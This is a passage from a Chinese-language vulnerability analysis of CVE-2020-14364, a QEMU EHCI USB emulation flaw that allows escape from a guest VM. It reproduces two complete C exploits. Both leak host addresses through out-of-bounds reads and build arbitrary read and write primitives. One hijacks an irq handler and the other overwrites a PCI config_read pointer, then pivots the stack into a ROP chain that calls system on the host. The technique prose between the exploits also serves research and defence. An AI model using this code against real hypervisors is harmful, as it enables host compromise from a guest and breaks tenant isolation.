    uint32_t next;                    /* Standard next link pointer */

    /* endpoint characteristics */
    uint32_t epchar;

    /* endpoint capabilities */
    uint32_t epcap;

    uint32_t current_qtd;             /* Standard next link pointer */
    uint32_t next_qtd;                /* Standard next link pointer */
    uint32_t altnext_qtd;

    uint32_t token;                   /* Same as QTD token */
    uint32_t bufptr[5];               /* Standard buffer pointer */

} EHCIqh;
typedef struct EHCIqtd {
    uint32_t next;                    /* Standard next link pointer */
    uint32_t altnext;                 /* Standard next link pointer */
    uint32_t token;

    uint32_t bufptr[5];               /* Standard buffer pointer */

} EHCIqtd;

uint64_t virt2phys(void* p)
{
    uint64_t virt = (uint64_t)p;

    // Assert page alignment

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
        die("open");
    uint64_t offset = (virt / 0x1000) * 8;
    lseek(fd, offset, SEEK_SET);

    uint64_t phys;
    if (read(fd, &phys, 8 ) != 8)
        die("read");
    // Assert page present

    phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
    return phys;
}

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint32_t addr)
{
    return *((uint64_t*)(mmio_mem + addr));
}

void init(){

    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

    dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (dmabuf == MAP_FAILED)
        die("mmap");

    mlock(dmabuf, 0x3000);

    entry = dmabuf + 4;
    qh = dmabuf + 0x100;
    qtd = dmabuf + 0x200;
    setup_buf = dmabuf + 0x300;
    data_buf = dmabuf + 0x1000;
    data_buf_oob = dmabuf + 0x2000;
}

void reset_enable_port(){
    mmio_write(0x64, PORTSC_PRESET);
    mmio_write(0x64, PORTSC_PED);
}

void set_EHCIState(){
    mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
    mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
    sleep(1);
}

void set_qh(){
    qh->epchar = 0x00;
    qh->token = QTD_TOKEN_ACTIVE;
    qh->current_qtd = virt2phys(qtd);
}

void init_state(){
    reset_enable_port();
    set_qh();

    setup_buf[6] = 0xff;
    setup_buf[7] = 0x0;

    qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
    qtd->bufptr[0] = virt2phys(setup_buf);

    *entry = virt2phys(qh)+0x2;

    set_EHCIState();
}

void set_length(uint16_t len,uint8_t option){

    reset_enable_port();

    set_qh();

    setup_buf[0] = option;
    setup_buf[6] = len & 0xff;
    setup_buf[7] = (len >> 8 ) & 0xff;

    qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
    qtd->bufptr[0] = virt2phys(setup_buf);

    set_EHCIState();
}
void do_copy_read(){

    reset_enable_port();
    set_qh();

    qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;
    qtd->bufptr[0] = virt2phys(data_buf);
    qtd->bufptr[1] = virt2phys(data_buf_oob);

    set_EHCIState();
}

void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){

    reset_enable_port();
    set_qh();

    *(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002; // 覆盖成原先的内容
    *(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; //setup_len
    *(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;

    qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flag
    qtd->bufptr[0] = virt2phys(data_buf);
    qtd->bufptr[1] = virt2phys(data_buf_oob);

    set_EHCIState();
}

void setup_state_data(){
    set_length(0x500, USB_DIR_OUT);
}

void arb_write(uint64_t target_addr, uint64_t payload)
{
    setup_state_data();

    set_length(0x1010, USB_DIR_OUT);

    unsigned long offset = target_addr - data_buf_addr;
    do_copy_write(0, offset+0x8, offset-0x1010);

    *(unsigned long *)(data_buf) = payload;
    do_copy_write(0, 0xffff, 0);
}

unsigned long arb_read(uint64_t target_addr)
{
    setup_state_data();

    set_length(0x1010, USB_DIR_OUT);

    do_copy_write(0, 0x1010, 0xfffffff8-0x1010);

    *(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
    unsigned int target_offset = target_addr - data_buf_addr;

    do_copy_write(0x8, 0xffff, target_offset - 0x1018);
    do_copy_read(); // oob read
    return *(unsigned long *)(data_buf);
}

int main()
{

    init();

    iopl(3);
    outw(0,0xc080);
    outw(0,0xc0a0);
    outw(0,0xc0c0);
    sleep(3);

    init_state();
    set_length(0x2000, USB_DIR_IN);
    do_copy_read(); // oob read

    struct USBDevice* usb_device_tmp = data_buf + 0x4;
    struct USBDevice usb_device;
    memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));

    dev_addr = usb_device.ep_ctl.dev;
    data_buf_addr = dev_addr + 0xdc;
    USBPort_addr = dev_addr + 0x78;
    printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
    printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);
    printf("USBPort_addr: 0x%llx\n", USBPort_addr);

    uint64_t *tmp=dmabuf+0x24f4+8;

    long long leak_addr = *tmp;
    if(leak_addr == 0){
        printf("INIT DOWN,DO IT AGAIN\n");
        return 0;
    }

    long long base = leak_addr - 0xc40d90;
    uint64_t system_plt = base + 0x290D30;

    printf("leak elf_base address : %llx!\n", base);
    printf("leak system_plt address: %llx!\n", system_plt);

    unsigned long USBPort_ptr = arb_read(USBPort_addr);
    unsigned long EHCIState_addr = USBPort_ptr - 0x540;
    unsigned long irq_addr = EHCIState_addr + 0xc0;
    unsigned long fake_irq_addr = data_buf_addr; //dev_addr + 0xdc;   
    unsigned long irq_ptr = arb_read(irq_addr);

    printf("EHCIState_addr: 0x%llx\n", EHCIState_addr);
    printf("USBPort_ptr: 0x%llx\n", USBPort_ptr);
    printf("irq_addr: 0x%llx\n", irq_addr);
    printf("fake_irq_addr: 0x%llx\n", fake_irq_addr);
    printf("irq_ptr: 0x%llx\n", irq_ptr);

    // construct fake_irq
    setup_state_data();
    *(unsigned long *)(data_buf + 0x28) = system_plt; // handler
    *(unsigned long *)(data_buf + 0x30) = dev_addr+0xdc+0x100; //opaque
    *(unsigned long *)(data_buf + 0x38) = 0x3; //n
    *(unsigned long *)(data_buf + 0x100) = 0x636c616378; // "xcalc"
    do_copy_write(0, 0xffff, 0xffff);

    // write fake_irq
    arb_write(irq_addr, fake_irq_addr);

    // write back  irq_ptr
    arb_write(irq_addr, irq_ptr);

    //printf("success233!\n");

};

运行效果图:

漏洞利用二

利用思路参考https://isc.360.com/2020/detail.html?vid=108&id=17

该思路需要qemu启动时加载qxl-vga设备,配置见上面的环境搭建。

(1)通过越界读获取 USBdevice 对象的地址,这里通过读取dmabuf+0x2004可以得到USBDevice->remote_wakeup的内容(这里+4是因为结构体的内存对齐)。往下读有一个 USBEndpoint ep_ctl 结构体,ep_ctl->dev 保存着USBdevice 对象的地址,就可以泄露 USBdevice 对象的地址。计算偏移就可以获得data_buf 和USBPort 字段的地址。

(2)利用任意读泄露 data_buf后面的内存数据,遍历查找“qxl-vga”字符串找到PCIDevice->name的地址,减去偏移得到PCIDevice结构体地址。

struct PCIDevice {
   …………

    PCIReqIDCache requester_id_cache;
    char name[64]; // ->保存设备的名字,"qxl-vga"
    PCIIORegion io_regions[PCI_NUM_REGIONS];
    AddressSpace bus_master_as;
    MemoryRegion bus_master_container_region;
    MemoryRegion bus_master_enable_region;

    /* do not access the following fields */
    PCIConfigReadFunc *config_read;
    PCIConfigWriteFunc *config_write;

    /* Legacy PCI VGA regions */
    MemoryRegion *vga_regions[QEMU_PCI_VGA_NUM_REGIONS];
    bool has_vga;

   …………
};

(3)利用任意写,可以修改config_read保存的函数指针,在虚拟机里读取pci配置寄存器(调用system("lspci"))就可以触发config_read保存的函数指针,实际上是调用pci_default_read_config函数。将函数指针修改成system@plt地址,就可以调用system函数。

(4)到第(3)步就可以控制rip,但是传参有些问题,调用函数指针在pci_host_config_read_common函数中:

uint32_t pci_host_config_read_common(PCIDevice *pci_dev, uint32_t addr,
                                     uint32_t limit, uint32_t len)
{
    uint32_t ret;

    pci_adjust_config_limit(pci_get_bus(pci_dev), &limit);// <-------
    if (limit <= addr) {
        return ~0x0;
    }

    assert(len <= 4);
    /* non-zero functions are only exposed when function 0 is present,
     * allowing direct removal of unexposed functions.
     */
    if (pci_dev->qdev.hotplugged && !pci_get_function_0(pci_dev)) {
        return ~0x0;
    }

    ret = pci_dev->config_read(pci_dev, addr, MIN(len, limit - addr));
    trace_pci_cfg_read(pci_dev->name, PCI_SLOT(pci_dev->devfn),
                       PCI_FUNC(pci_dev->devfn), addr, ret);

    return ret;
}

此时将payload写入pci_dev中,但pci_adjust_config_limit(pci_get_bus(pci_dev), &limit); 这句会调用到object_dynamic_cast_assert。

pci_adjust_config_limit(pci_get_bus(pci_dev), &limit);
->
   770 Object *object_dynamic_cast_assert(Object *obj, const char *typename,
   771                                    const char *file, int line, const char *func)
   772 {
  773     trace_object_dynamic_cast_assert(obj ? obj->class->type->name : "(null)",
   774                                      typename, file, line, func);
   775

object_dynamic_cast_assert里面有个寻址操作,因为我们覆盖了class为payload,所以寻址失败,导致崩溃。

pwndbg> p/x *(struct PCIDevice *)0x55ba7a7befd0
$14 = {
  qdev = {
    parent_obj = {
      class = 0x636c616378, 
      free = 0x7f29c95305c0,

到这里,传参这部分没有得到解决,想着泄露libc地址,覆盖rip为one_gadget,但本地环境没有满足条件的one_gadget,所以转而使用rop 链进行利用。

首先覆盖rip为0xdeadbeef, 观察寄存器,之前我们覆盖rdi为"xcalc"字符串地址失败是因为之前有寻址操作。

但是我们可以看到rax保存的是堆地址,所以第一步就是进行栈切换,将rsp切换到堆上。但笔者编译的qemu程序没有直接"xchg rax, rsp; ret;"这种gadget,但找到了:

xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret;

可以将rax的值给rbp后,再通过leave指令(相当于mov rsp, rbp; pop rbp;),间接将rax的值赋给rsp,完成栈切换。之后的的rop链就没有什么障碍:

new rsp  ===>   [0x00] : pop rax; ret; 
                [0x08] : system@plt                               
                [0x10] : pop rdi; ret;
            /-- [0x18] : rsp+0x30       
            |   [0x20] : sub al, 0; call rax; 
            |   [0x28] :                                 
            |-> [0x30] : "xcalc"

完成利用。

exp代码:

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <errno.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <stdbool.h>
#include <netinet/in.h>  
struct EHCIqh * qh;
struct EHCIqtd * qtd;
struct ohci_td * td;
char *dmabuf;
char *setup_buf;
unsigned char *mmio_mem;
unsigned char *data_buf;
unsigned char *data_buf_oob;
uint32_t *entry;
uint64_t dev_addr;
uint64_t data_buf_addr;
uint64_t USBPort_addr; 

#define PORTSC_PRESET       (1 << 8)     // Port Reset
#define PORTSC_PED          (1 << 2)     // Port Enable/Disable
#define USBCMD_RUNSTOP      (1 << 0)
#define USBCMD_PSE          (1 << 4)
#define USB_DIR_OUT         0
#define USB_DIR_IN          0x80
#define QTD_TOKEN_ACTIVE    (1 << 7)
#define USB_TOKEN_SETUP     2
#define USB_TOKEN_IN        1 /* device -> host */
#define USB_TOKEN_OUT       0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH    8

typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
    uint8_t nr;
    uint8_t pid;
    uint8_t type;
    uint8_t ifnum;
    int max_packet_size;
    int max_streams;
    bool pipeline;
    bool halted;
    USBDevice *dev;
    USBEndpoint *fd;
    USBEndpoint *bk;
};

struct USBDevice {
    int32_t remote_wakeup;
    int32_t setup_state;
    int32_t setup_len;
    int32_t setup_index;

    USBEndpoint ep_ctl;
    USBEndpoint ep_in[15];
    USBEndpoint ep_out[15];
};


typedef struct EHCIqh {
    uint32_t next;                    /* Standard next link pointer */

    /* endpoint characteristics */
    uint32_t epchar;

    /* endpoint capabilities */
    uint32_t epcap;

    uint32_t current_qtd;             /* Standard next link pointer */
    uint32_t next_qtd;                /* Standard next link pointer */
    uint32_t altnext_qtd;

    uint32_t token;                   /* Same as QTD token */
    uint32_t bufptr[5];               /* Standard buffer pointer */

} EHCIqh;
typedef struct EHCIqtd {
    uint32_t next;                    /* Standard next link pointer */
    uint32_t altnext;                 /* Standard next link pointer */
    uint32_t token;

    uint32_t bufptr[5];               /* Standard buffer pointer */

} EHCIqtd;

uint64_t virt2phys(void* p)
{
    uint64_t virt = (uint64_t)p;

    // Assert page alignment

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
        die("open");
    uint64_t offset = (virt / 0x1000) * 8;
    lseek(fd, offset, SEEK_SET);

    uint64_t phys;
    if (read(fd, &phys, 8 ) != 8)
        die("read");
    // Assert page present

    phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
    return phys;
}

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint32_t addr)
{
    return *((uint64_t*)(mmio_mem + addr));
}

void init(){

    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

    dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (dmabuf == MAP_FAILED)
        die("mmap");

    mlock(dmabuf, 0x3000);

    entry = dmabuf + 4;
    qh = dmabuf + 0x100;
    qtd = dmabuf + 0x200;
    setup_buf = dmabuf + 0x300;
    data_buf = dmabuf + 0x1000;
    data_buf_oob = dmabuf + 0x2000;
}

void reset_enable_port(){
    mmio_write(0x64, PORTSC_PRESET);
    mmio_write(0x64, PORTSC_PED);
}

void set_EHCIState(){
    //printf("set_EHCIState~\n");
    //getchar();
    mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
    mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
    sleep(1);
}

void set_qh(){
    qh->epchar = 0x00;
    qh->token = QTD_TOKEN_ACTIVE;
    qh->current_qtd = virt2phys(qtd);
}

void init_state(){
    reset_enable_port();
    set_qh();

    setup_buf[6] = 0xff;
    setup_buf[7] = 0x0;

    qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
    qtd->bufptr[0] = virt2phys(setup_buf);

    *entry = virt2phys(qh)+0x2;

    set_EHCIState();
}

void set_length(uint16_t len,uint8_t option){

    reset_enable_port();

    set_qh();

    setup_buf[0] = option;
    setup_buf[6] = len & 0xff;
    setup_buf[7] = (len >> 8 ) & 0xff;

    qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
    qtd->bufptr[0] = virt2phys(setup_buf);

    set_EHCIState();
}
void do_copy_read(){

    reset_enable_port();
    set_qh();

    qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;
    qtd->bufptr[0] = virt2phys(data_buf);
    qtd->bufptr[1] = virt2phys(data_buf_oob);

    set_EHCIState();
}

void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){

    reset_enable_port();
    set_qh();

    *(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002;
    *(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; //setup_len
    *(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;

    qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flag
    qtd->bufptr[0] = virt2phys(data_buf);
    qtd->bufptr[1] = virt2phys(data_buf_oob);

    set_EHCIState();
}

void setup_state_data(){
    set_length(0x500, USB_DIR_OUT);
}

void arb_write(uint64_t target_addr, uint64_t payload)
{
    setup_state_data();

    set_length(0x1010, USB_DIR_OUT);

    unsigned long offset = target_addr - data_buf_addr;
    do_copy_write(0, offset+0x8, offset-0x1010);

    *(unsigned long *)(data_buf) = payload;
    do_copy_write(0, 0xffff, 0);

}

unsigned long arb_read(uint64_t target_addr)
{
    setup_state_data();

    set_length(0x1010, USB_DIR_OUT);

    do_copy_write(0, 0x1010, 0xfffffff8-0x1010);

    *(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
    unsigned int target_offset = target_addr - data_buf_addr;

    do_copy_write(0x8, 0xffff, target_offset - 0x1018);
    do_copy_read(); // oob read
    return *(unsigned long *)(data_buf);
}

int main()
{

    init();

    iopl(3);
    outw(0,0xc080);
    outw(0,0xc0a0);
    outw(0,0xc0c0);
    sleep(3);

    init_state();
    set_length(0x2000, USB_DIR_IN);
    do_copy_read(); // oob read

    struct USBDevice* usb_device_tmp=dmabuf+0x2004;
    struct USBDevice usb_device;
    memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));

    dev_addr = usb_device.ep_ctl.dev;
    data_buf_addr = dev_addr + 0xdc;
    printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
    printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);

    uint64_t *tmp=dmabuf+0x24f4+8;

    long long leak_addr = *tmp;
    if(leak_addr == 0){
        printf("INIT DOWN,DO IT AGAIN\n");
        return 0;
    }

    long long base = leak_addr - 0xc40d90;
    uint64_t system_plt = base + 0x290D30;

    printf("leak elf_base address : %llx!\n", base);
    printf("leak system_plt address: %llx!\n", system_plt);

    unsigned long search_start_addr = data_buf_addr + 0x5500; 
    arb_read(search_start_addr);
    char *mask = "qxl-vga\0";
    unsigned long find = memmem(data_buf, 0x1f00, mask, 0x8);
    unsigned long offset = (find&0xffffffff) - ((unsigned long)(data_buf)&0xffffffff) + 0x5500;
    unsigned long config_read_addr = data_buf_addr + offset + 0x390;
    unsigned long pci_dev = config_read_addr - 0x450;
    printf("config_read_addr: 0x%llx\n", config_read_addr);
    printf("pci_dev: 0x%llx\n", pci_dev);
    unsigned long pci_dev_content = arb_read(pci_dev);
    //unsigned long rop_start = base + 0x2c3950;
    unsigned long rop_start = base + 0x774ff0; //xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret; 
    printf("pci_dev_content: 0x%llx\n", pci_dev_content);
    printf("rop_start: 0x%llx\n", rop_start);
    //unsigned long al = (((rop_start&0xff00)>>8) + (pci_dev&0xff))&0xff;

    unsigned long rsp = pci_dev + 0x8; // leave -> mov rsp, rbp; pop rbp;
    printf("new rsp: 0x%llx\n", rsp);
    unsigned long pop_rax = base + 0x523519; // pop rax; ret;
    unsigned long pop_rdi = base + 0x3b51e5; // pop rdi; ret; 
    unsigned long call_rax = base + 0x71bd09; // sub al, 0; call rax;

    arb_write(rsp, pop_rax);
    arb_write(rsp+8, system_plt);
    arb_write(rsp+0x10, pop_rdi);
    arb_write(rsp+0x18, rsp+0x30);
    arb_write(rsp+0x20, call_rax);
    arb_write(rsp+0x30, 0x636c616378);

    //getchar();

    arb_write(config_read_addr, rop_start);
    system("lspci");

};

运行效果图:

参考链接

https://www.freebuf.com/vuls/247829.html

https://isc.360.com/2020/detail.html?vid=108&id=17

https://xz.aliyun.com/t/6562

利用代码一:https://github.com/De4dCr0w/Vulnerability-analyze/blob/master/CVE-2020-14364-Qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/exp1_irq.c

利用代码二:https://github.com/De4dCr0w/Vulnerability-analyze/blob/master/CVE-2020-14364-Qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/exp2_config_read.c


文章来源: http://xz.aliyun.com/t/8320
如有侵权请联系:admin#unsafe.sh